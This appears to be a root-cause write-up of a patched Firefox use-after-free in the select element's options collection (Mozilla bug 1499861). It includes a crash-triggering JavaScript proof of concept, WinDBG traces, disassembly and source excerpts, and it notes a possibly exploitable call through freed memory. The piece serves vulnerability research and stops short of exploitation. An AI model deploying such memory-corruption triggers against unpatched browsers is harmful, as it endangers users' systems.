The vulnerability was patch on Nov 07 2018 by turning the HTMLSelectElement
reference tracked in HTMLOptionsCollection
a strong reference. It was implemented in two parts: The HTMLOptionsCollection class, and the HTMLSelectElement class. The commit can be found as:
d4f3e119ae841008c1be59e72ee0a058e3803cf3
Proof-of-Concept
The poc can be obtained from the Mozilla bug report #1499861:
<script> div = document.createElement("div"); opt = document.createElement("option"); div.appendChild(opt); div.addEventListener("DOMNodeRemoved", function() { sel = 0; new ArrayBuffer(0x0fffffff); alert(); }); sel = document.createElement("select"); sel.options[0] = opt; </script>
Initial Impression
After building Firefox, we attach WinDBG to it, and run it against the HTML test case. Immediately, we see a clean crash (where ESI is a reference to our select element):
0:000> r eax=e5e5e5e5 ebx=05b1c940 ecx=09823b00 edx=05b1c940 esi=05b1c940 edi=09898b20 eip=6a64cacd esp=0058e810 ebp=0058e960 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202 xul!nsINode::ReplaceOrInsertBefore+0x6ed: 6a64cacd 8b5804 mov ebx,dword ptr [eax+4] ds:002b:e5e5e5e9=????????
The crash also leads to a possibly exploitable condition because the CALL [EAX+4]
instruction:
0:000> u xul!nsINode::ReplaceOrInsertBefore+0x6ed [c:\mozilla-source\mozilla-central\dom\base\nsINode.cpp @ 2527]: 6a64cacd 8b5804 mov ebx,dword ptr [eax+4] 6a64cad0 85db test ebx,ebx 6a64cad2 741f je xul!nsINode::ReplaceOrInsertBefore+0x713 (6a64caf3) 6a64cad4 8b03 mov eax,dword ptr [ebx] 6a64cad6 53 push ebx 6a64cad7 ff5004 call dword ptr [eax+4] 6a64cada 89d9 mov ecx,ebx 6a64cadc 899db8feffff mov dword ptr [ebp-148h],ebx
The value e5e5e5e9
indicates a freed chunk being filled by the jemalloc allocator. Internally this behavior is called “poisoning”, because it allows the application to be somewhat in control of the freed chunk of memory over the attacker. The value was also carefully selected by the developers to make sure nobody can ever reach it.
The callstack for our crash also reveals where the reference might be kept:
0:000> k # ChildEBP RetAddr 00 0058e960 6af72d6f xul!nsINode::ReplaceOrInsertBefore+0x6ed [c:\mozilla-source\mozilla-central\dom\base\nsINode.cpp @ 2527] 01 0058e994 6ac37d55 xul!mozilla::dom::HTMLOptionsCollection::IndexedSetter+0x5f [c:\mozilla-source\mozilla-central\dom\html\HTMLOptionsCollection.cpp @ 155] 02 0058e9fc 6ace7984 xul!mozilla::dom::HTMLOptionsCollection_Binding::DOMProxyHandler::setCustom+0x255 [c:\mozilla-source\mozilla-central\obj-i686-pc-mingw32\dom\bindings\HTMLOptionsCollectionBinding.cpp @ 989] 03 0058ea60 6c74ef37 xul!mozilla::dom::DOMProxyHandler::set+0x34 [c:\mozilla-source\mozilla-central\dom\bindings\DOMJSProxyHandler.cpp @ 255] 04 0058eab8 6c855224 xul!js::Proxy::set+0x127 [c:\mozilla-source\mozilla-central\js\src\proxy\Proxy.cpp @ 450] 05 0058edf8 6c853996 xul!Interpret+0x1724 [c:\mozilla-source\mozilla-central\js\src\vm\Interpreter.cpp @ 3328] 06 0058ee80 6c85f24a xul!js::RunScript+0x196 [c:\mozilla-source\mozilla-central\js\src\vm\Interpreter.cpp @ 447] 07 0058eee0 6c85f399 xul!js::ExecuteKernel+0xfa [c:\mozilla-source\mozilla-central\js\src\vm\Interpreter.cpp @ 813] 08 0058ef30 6c561970 xul!js::Execute+0xe9 [c:\mozilla-source\mozilla-central\js\src\vm\Interpreter.cpp @ 845] 09 0058ef54 6c561b2a xul!ExecuteScript+0x60 [c:\mozilla-source\mozilla-central\js\src\vm\CompilationAndEvaluation.cpp @ 394] 0a 0058ef98 6c561a34 xul!ExecuteScript+0xea [c:\mozilla-source\mozilla-central\js\src\vm\CompilationAndEvaluation.cpp @ 415] 0b 0058efa8 6a658689 xul!JS_ExecuteScript+0x14 [c:\mozilla-source\mozilla-central\js\src\vm\CompilationAndEvaluation.cpp @ 436] 0c 0058efcc 6b4a1b4a xul!nsJSUtils::ExecutionContext::CompileAndExec+0x69 [c:\mozilla-source\mozilla-central\dom\base\nsJSUtils.cpp @ 254] 0d 0058f160 6b4a06c9 xul!mozilla::dom::ScriptLoader::EvaluateScript+0x7ca [c:\mozilla-source\mozilla-central\dom\script\ScriptLoader.cpp @ 2415] 0e 0058f1a8 6b49fce4 xul!mozilla::dom::ScriptLoader::ProcessRequest+0x239 [c:\mozilla-source\mozilla-central\dom\script\ScriptLoader.cpp @ 2036] 0f 0058f268 6b499821 xul!mozilla::dom::ScriptLoader::ProcessInlineScript+0x564 [c:\mozilla-source\mozilla-central\dom\script\ScriptLoader.cpp @ 1636] 10 0058f520 6b499280 xul!mozilla::dom::ScriptLoader::ProcessScriptElement+0x551 [c:\mozilla-source\mozilla-central\dom\script\ScriptLoader.cpp @ 1356] 11 0058f554 6a15c3e1 xul!mozilla::dom::ScriptElement::MaybeProcessScript+0x160 [c:\mozilla-source\mozilla-central\dom\script\ScriptElement.cpp @ 141] 12 0058f570 6a15ae9f xul!nsHtml5TreeOpExecutor::RunScript+0x101 [c:\mozilla-source\mozilla-central\parser\html\nsHtml5TreeOpExecutor.cpp @ 742] 13 0058f5bc 6a15dd9c xul!nsHtml5TreeOpExecutor::RunFlushLoop+0x40f [c:\mozilla-source\mozilla-central\parser\html\nsHtml5TreeOpExecutor.cpp @ 544] 14 0058f5c4 6994f087 xul!nsHtml5ExecutorFlusher::Run+0x1c [c:\mozilla-source\mozilla-central\parser\html\nsHtml5StreamParser.cpp @ 125] 15 0058f604 6995a53f xul!mozilla::SchedulerGroup::Runnable::Run+0x27 [c:\mozilla-source\mozilla-central\xpcom\threads\SchedulerGroup.cpp @ 337] 16 0058fb10 6995c6b6 xul!nsThread::ProcessNextEvent+0x60f [c:\mozilla-source\mozilla-central\xpcom\threads\nsThread.cpp @ 1246] 17 0058fb34 69d28494 xul!NS_ProcessNextEvent+0x56 [c:\mozilla-source\mozilla-central\xpcom\threads\nsThreadUtils.cpp @ 530] 18 0058fb5c 69d0580d xul!mozilla::ipc::MessagePump::Run+0xe4 [c:\mozilla-source\mozilla-central\ipc\glue\MessagePump.cpp @ 97] 19 0058fb94 69d05776 xul!MessageLoop::RunHandler+0x6d [c:\mozilla-source\mozilla-central\ipc\chromium\src\base\message_loop.cc @ 319] 1a 0058fbb4 6b540055 xul!MessageLoop::Run+0x46 [c:\mozilla-source\mozilla-central\ipc\chromium\src\base\message_loop.cc @ 299] 1b 0058fbc4 6b594e3f xul!nsBaseAppShell::Run+0x25 [c:\mozilla-source\mozilla-central\widget\nsBaseAppShell.cpp @ 160] 1c 0058fbe0 6c4688d7 xul!nsAppShell::Run+0xaf [c:\mozilla-source\mozilla-central\widget\windows\nsAppShell.cpp @ 420] 1d 0058fbf8 69d287d8 xul!XRE_RunAppShell+0x37 [c:\mozilla-source\mozilla-central\toolkit\xre\nsEmbedFunctions.cpp @ 939] 1e 0058fc10 69d0580d xul!mozilla::ipc::MessagePumpForChildProcess::Run+0x18 [c:\mozilla-source\mozilla-central\ipc\glue\MessagePump.cpp @ 302] 1f 0058fc48 69d05776 xul!MessageLoop::RunHandler+0x6d [c:\mozilla-source\mozilla-central\ipc\chromium\src\base\message_loop.cc @ 319] 20 0058fc68 6c468729 xul!MessageLoop::Run+0x46 [c:\mozilla-source\mozilla-central\ipc\chromium\src\base\message_loop.cc @ 299] 21 0058fd68 6c470fc1 xul!XRE_InitChildProcess+0x7c9 [c:\mozilla-source\mozilla-central\toolkit\xre\nsEmbedFunctions.cpp @ 769] 22 0058fd7c 00f114f6 xul!mozilla::BootstrapImpl::XRE_InitChildProcess+0x11 [c:\mozilla-source\mozilla-central\toolkit\xre\Bootstrap.cpp @ 69] 23 0058fee8 00f111cd firefox!NS_internal_main+0x286 [c:\mozilla-source\mozilla-central\browser\app\nsBrowserApp.cpp @ 301] 24 0058ff14 00f467bb firefox!wmain+0x1cd [c:\mozilla-source\mozilla-central\toolkit\xre\nsWindowsWMain.cpp @ 143] 25 0058ff5c 746f8674 firefox!__scrt_common_main_seh+0xfa [d:\agent\_work\4\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288] 26 0058ff70 77c05e17 KERNEL32!BaseThreadInitThunk+0x24 27 0058ffb8 77c05de7 ntdll!__RtlUserThreadStart+0x2f 28 0058ffc8 00000000 ntdll!_RtlUserThreadStart+0x1b
In source, the crash occurs at this line:
nsINode* nsINode::ReplaceOrInsertBefore(bool aReplace, nsINode* aNewChild, nsINode* aRefChild, ErrorResult& aError) { ... mozAutoDocUpdate batch(GetComposedDoc(), true); // Crash ...
In-Depth Analysis
The Sequential Order
Debugging a use-after-free in a browser is not exactly a straight forward task, because typically a bug like this involves multiple event handlers, where browsers tend to have trouble with. A strategy for this is try to understand the events in a sequential order, and one approach for that is by printing debugging messages for each JavaScript line (plus others if you\’re particularily interested in different things), and see what the debugger tells you.
The breakpoints I used:
bu xul!js::math_sin ".printf \"[Sin Message] %ma\\n\", poi(poi(esp+c)+10)+ 8; g" bu xul!NS_NewHTMLSelectElement+0x17 ".printf \"Select Element = 0x%p\\n\", eax; g" bu xul!js::math_cos bu xul!mozilla::dom::HTMLOptionsCollection::IndexedSetter "r; g" bu xul!js::ArrayBufferObject::class_constructor+0x13b ".printf \"ArrayBuffer=0x%p Size=0x%08x\\n\", eax, poi(ebp-0x2c); g" bu xul!NS_NewHTMLOptionElement+0x10 ".printf \"Option Element = 0x%p\\n\", eax; g"
Another trick I also did was break-on-write on the select element after creation. Knowing that the select element is freed and later poisoned by jemalloc, the break-on-write technique would allow us to find when those happen:
[Sin Message] Creating select element Select Element = 0x064f8040 ... 0:000> ba w4 064f8040
Our modified test case customized for those breakpoints:
<script> Math.sin("Creating div element"); div = document.createElement("div"); Math.sin("Creating option element"); opt = document.createElement("option"); Math.sin("Append option"); div.appendChild(opt); Math.sin("Adding listener"); div.addEventListener("DOMNodeRemoved", function() { Math.cos(1); Math.sin("sel=0"); sel = 0; Math.sin("new ArrayBuffer"); new ArrayBuffer(0xfffffff); Math.cos(1); Math.sin("alert"); alert(); }); Math.sin("Creating select element"); sel = document.createElement("select"); Math.sin("Setting option"); sel.options[0] = opt; </script>
By running the above test case, we got our sequence of events. I\’d like to explain them in two stages, where the second is where things get more hairy for Firefox, eventually causing to fail.
The Setup Stage
DIV element is created.
OPTION element is created.
OPTION element appends to the DIV element.
The DOMNodeRemoved listener for the DIV element is added.
The SELECT element is created. This is also when a
mSelect
weak reference is created:
// In dom\html\HTMLOptionsCollection.cpp // line 34 // The callstack for this would be: // 00 xul!mozilla::dom::HTMLOptionsCollection::HTMLOptionsCollection // 01 xul!mozilla::dom::HTMLSelectElement::HTMLSelectElement // 02 xul!NS_NewHTMLSelectElement // 03 xul!CreateHTMLElement HTMLOptionsCollection::HTMLOptionsCollection(HTMLSelectElement* aSelect) { // Do not maintain a reference counted reference. When // the select goes away, it will let us know. mSelect = aSelect; }
The Bug Triggering Stage
After the setup stage, the following events happen and finally get us a crash:
- The SELECT element\’s options at index 0 is set with the Option element.
- In the event handler, the SELECT element is set to 0.
- A new ArrayBuffer with size
0x0fffffff
is created.
- An alert pops up.
- Firefox crashes.
First off, the DOMNodeRemoved event handler for the DIV element is triggered. This condition occurs when the Option element is being assigned as a member to a select element:
sel.options[0] = opt;
Under the hood, this means we\’re asking the index setter in the HTMLOptionsCollection to kick in, which causes nsContentUtils::MaybeFireNodeRemoved
to fire like this callstack shows:
Breakpoint 7 hit eax=08715060 ebx=00000000 ecx=08730401 edx=00000001 esi=000000fb edi=087304c0 eip=6a89c870 esp=006fe814 ebp=006fe970 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206 xul!nsContentUtils::MaybeFireNodeRemoved: 6a89c870 55 push ebp 0:000> k # ChildEBP RetAddr 00 006fe810 6a9bc4bf xul!nsContentUtils::MaybeFireNodeRemoved [c:\mozilla-source\mozilla-central\dom\base\nsContentUtils.cpp @ 4689] 01 006fe970 6b2e2d6f xul!nsINode::ReplaceOrInsertBefore+0xdf [c:\mozilla-source\mozilla-central\dom\base\nsINode.cpp @ 2335] 02 006fe9a4 6afa7d55 xul!mozilla::dom::HTMLOptionsCollection::IndexedSetter+0x5f [c:\mozilla-source\mozilla-central\dom\html\HTMLOptionsCollection.cpp @ 155] 03 006fea0c 6b057984 xul!mozilla::dom::HTMLOptionsCollection_Binding::DOMProxyHandler::setCustom+0x255 [c:\mozilla-source\mozilla-central\obj-i686-pc-mingw32\dom\bindings\HTMLOptionsCollectionBinding.cpp @ 989] 04 006fea70 6cabef37 xul!mozilla::dom::DOMProxyHandler::set+0x34 [c:\mozilla-source\mozilla-central\dom\bindings\DOMJSProxyHandler.cpp @ 255] 05 006feac8 6cbc5224 xul!js::Proxy::set+0x127 [c:\mozilla-source\mozilla-central\js\src\proxy\Proxy.cpp @ 450] 06 006fee08 6cbc3996 xul!Interpret+0x1724 [c:\mozilla-source\mozilla-central\js\src\vm\Interpreter.cpp @ 3328] 07 006fee90 6cbcf24a xul!js::RunScript+0x196 [c:\mozilla-source\mozilla-central\js\src\vm\Interpreter.cpp @ 447] 08 006feef0 6cbcf399 xul!js::ExecuteKernel+0xfa [c:\mozilla-source\mozilla-central\js\src\vm\Interpreter.cpp @ 813] 09 006fef40 6c8d1970 xul!js::Execute+0xe9 [c:\mozilla-source\mozilla-central\js\src\vm\Interpreter.cpp @ 845] 0a 006fef64 6c8d1b2a xul!ExecuteScript+0x60 [c:\mozilla-source\mozilla-central\js\src\vm\CompilationAndEvaluation.cpp @ 394] 0b 006fefa8 6c8d1a34 xul!ExecuteScript+0xea [c:\mozilla-source\mozilla-central\js\src\vm\CompilationAndEvaluation.cpp @ 415] 0c 006fefb8 6a9c8689 xul!JS_ExecuteScript+0x14 [c:\mozilla-source\mozilla-central\js\src\vm\CompilationAndEvaluation.cpp @ 436]
In the event listener, the first thing that happens is this line. This allows the last reference for the select element to be removed:
sel = 0;
The next that happens is these two lines:
new ArrayBuffer(0xfffffff); alert();
The purpose of the large ArrayBuffer is to create “pressure” in order to force the garbage collector to go to work. After the alert function, the garbage collector starts cleaning up the select element by calling its destructor (found in dom\html\HTMLSelectElement.cpp):
HTMLSelectElement::~HTMLSelectElement() { mOptions->DropReference(); }
The ~HTMLSelectElement
destructor is called multiple times. Since mSelect
is a weak reference, the garbage collector eventually causes the select element to be freed by jemalloc, but HTMLOptionsCollection still has a reference:
0:000> k # ChildEBP RetAddr 00 006fc3e0 7448d708 VCRUNTIME140!memset+0x3c [d:\agent\_work\4\s\src\vctools\crt\vcruntime\src\string\i386\memset.asm @ 86] 01 006fc40c 7448d510 mozglue!arena_t::DallocSmall+0x58 [c:\mozilla-source\mozilla-central\memory\build\mozjemalloc.cpp @ 3442] 02 006fc434 7448a520 mozglue!arena_dalloc+0x60 [c:\mozilla-source\mozilla-central\memory\build\mozjemalloc.cpp @ 3530] 03 006fc440 6b2fb498 mozglue!Allocator<MozJemallocBase>::free+0x20 [c:\mozilla-source\mozilla-central\memory\build\malloc_decls.h @ 40] 04 006fc450 6a8f3491 xul!mozilla::dom::HTMLSelectElement::~HTMLSelectElement+0x18 [c:\mozilla-source\mozilla-central\dom\html\HTMLSelectElement.cpp @ 146] 05 006fc45c 6a8facff xul!mozilla::dom::Attr::DeleteCycleCollectable+0x11 [c:\mozilla-source\mozilla-central\dom\base\Attr.cpp @ 100] 06 006fc468 69c7056f xul!nsIContent::cycleCollection::DeleteCycleCollectable+0xf [c:\mozilla-source\mozilla-central\dom\base\nsIContent.h @ 75] 07 006fc498 69c694ff xul!SnowWhiteKiller::Visit+0x19f [c:\mozilla-source\mozilla-central\xpcom\base\nsCycleCollector.cpp @ 2785] 08 006fc4fc 69c6c80e xul!nsPurpleBuffer::VisitEntries<SnowWhiteKiller>+0x15f [c:\mozilla-source\mozilla-central\xpcom\base\nsCycleCollector.cpp @ 1106] 09 006fc534 6a32579f xul!nsCycleCollector_doDeferredDeletionWithBudget+0x6e [c:\mozilla-source\mozilla-central\xpcom\base\nsCycleCollector.cpp @ 4389] 0a 006fc5dc 69cd20d4 xul!AsyncFreeSnowWhite::Run+0x9f [c:\mozilla-source\mozilla-central\js\xpconnect\src\XPCJSRuntime.cpp @ 138]
During the process, the arena_t::DallocSmall
function quietly sets the freed chunk with 0xe5e5e5e5:
... const uint8_t kAllocPoison = 0xe5; // Line 1228 ... void arena_t::DallocSmall(arena_chunk_t* aChunk, void* aPtr, arena_chunk_map_t* aMapElm) { arena_run_t* run; arena_bin_t* bin; size_t size; run = (arena_run_t*)(aMapElm->bits & ~gPageSizeMask); MOZ_DIAGNOSTIC_ASSERT(run->mMagic == ARENA_RUN_MAGIC); bin = run->mBin; size = bin->mSizeClass; MOZ_DIAGNOSTIC_ASSERT(uintptr_t(aPtr) >= uintptr_t(run) + bin->mRunFirstRegionOffset); MOZ_DIAGNOSTIC_ASSERT( (uintptr_t(aPtr) - (uintptr_t(run) + bin->mRunFirstRegionOffset)) % size == 0); // This is where our freed memory is filled with 0xe5e5e5e5... memset(aPtr, kAllocPoison, size); ...
After the memory is freed, we\’re pretty done with the DOMNodeRemoved handler and back to the nsINode::ReplaceOrInsertBefore
function that called it. Since the ReplaceOrInsertBefore
function still has a mSelect
reference, eventually this causes a crash while setting up for a CALL [EAX+4]
call. Looking up the selet element\’s vftable, offset 4 indicates the program is trying to call the AddRef()
function:
[Sin Message] Creating select element Select Element = 0x0eefd340 <--- This appears in esi ... 0:000> r eax=e5e5e5e5 ebx=0eefd340 ecx=11303100 edx=0eefd340 esi=0eefd340 edi=0eea4e80 eip=6a9bcacd esp=008fe7f0 ebp=008fe940 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202 xul!nsINode::ReplaceOrInsertBefore+0x6ed: 6a9bcacd 8b5804 mov ebx,dword ptr [eax+4] ds:002b:e5e5e5e9=???????? ... 6a9bcaca 8b4610 mov eax,dword ptr [esi+10h] 6a9bcacd 8b5804 mov ebx,dword ptr [eax+4] ds:002b:e5e5e5e9=???????? 6a9bcad0 85db test ebx,ebx 6a9bcad2 741f je xul!nsINode::ReplaceOrInsertBefore+0x713 (6a9bcaf3) 6a9bcad4 8b03 mov eax,dword ptr [ebx] 6a9bcad6 53 push ebx 6a9bcad7 ff5004 call dword ptr [eax+4]
Reading from the conversation between developers in the bug report, we learned that something like this in theory should have been caught easily with a fuzzer such as Domato. It just didn\’t, and the bug lived for many years.
More research time is needed to investigate how exploitation could be done.